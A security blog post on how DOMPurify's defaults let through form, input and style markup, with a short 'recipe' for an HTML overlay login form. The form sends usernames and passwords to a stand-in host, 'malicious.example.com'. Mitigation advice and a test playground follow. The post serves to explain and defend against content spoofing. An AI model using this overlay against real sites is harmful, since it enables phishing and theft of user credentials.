DOMPurify - the dangers in the defaults
DOMPurify has 14.5 million weekly downloads on NPM.
It's a great library for sanitising HTML, made by a pentester, and very popular.
DOMPurify will strip out everything that contains dangerous HTML and thereby prevent XSS attacks and other nastiness.
Let's hope so!
Security Goals
https://github.com/cure53/DOMPurify/wiki/Security-Goals-&-Threat-Model lists the security goals as:
- Prevent XSS Attacks
- Prevent DOM Clobbering Attacks
- Prevent XSS via jQuery
- Prevent Structural Damage
- Be safe from Prototype Pollution
and it will not protect against:
- faulty use or flipping of markup context
- CSS-based XSS attacks that work in ancient IE/Mozilla/Opera browsers or similarly ancient IE document modes
- HTML that somehow requests external resources
- crazy library features
I think this example falls somewhere in between these stated goals and non-goals, and may be a surprise to the unsuspecting.
The defaults
By default:
- dompurify doesn't block
<form>elements - dompurify doesn't block
<input>elements - dompurify doesn't strip
styleattributes - dompurify doesn't strip
actionattributes
So what can we still do?
OWASP describes this attack as Content Spoofing at https://owasp.org/www-community/attacks/Content_Spoofing#hypertext-markup-language-html-injection, and says it's a form of social engineering used for phishing.
DOMPurify describes the attack as Clickjacking and outside DOMPurify's threat model at https://github.com/cure53/DOMPurify/issues/453.
It definitely feels like Clickjacking, but the OWASP definition at https://owasp.org/www-community/attacks/Clickjacking is more specific:
when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the top level page
How do we do it?
Render a form over the top of existing content to simulate a form the user expects to see.
The fake form can submit to a 3rd-party site, and in a well-implemented attack could transparently redirect the user back to the target website afterwards.
Extra points if you can get it to autocomplete with data from their password manager.
Key ingredients
- elements
<div><form><input>
- attributes
actionstyle
- style properties
positiontopleftrightbottom
Recipe
1. The form
Create a form with the data you want:
<form action="malicious.example.com">
<input name="username" type="text"/>
<input name="password" type="password"/>
<input type="submit" value="Log in"/>
</form>
2. The container
<div style="position:fixed; top:0; bottom:0; left:0; right:0">
<!-- form goes here -->
</div>
3. The style
Mix in some style="..." attributes to make the form look plausible.
Mitigation
How can you prevent this issue?
A robust DOMPurify configuration should rely on the ALLOWED_TAGS option, but if you just want to quickly block this specific attack then FORBID_TAGS: ['form', 'input', 'style'] should be enough.
Playground
Here's a little playground you can test some ideas:
Input
const clean = DOMPurify.sanitize(dirty, { USE_PROFILES: { html: true } });
and insert your purified/sanitised HTML into the "Render Zone" below: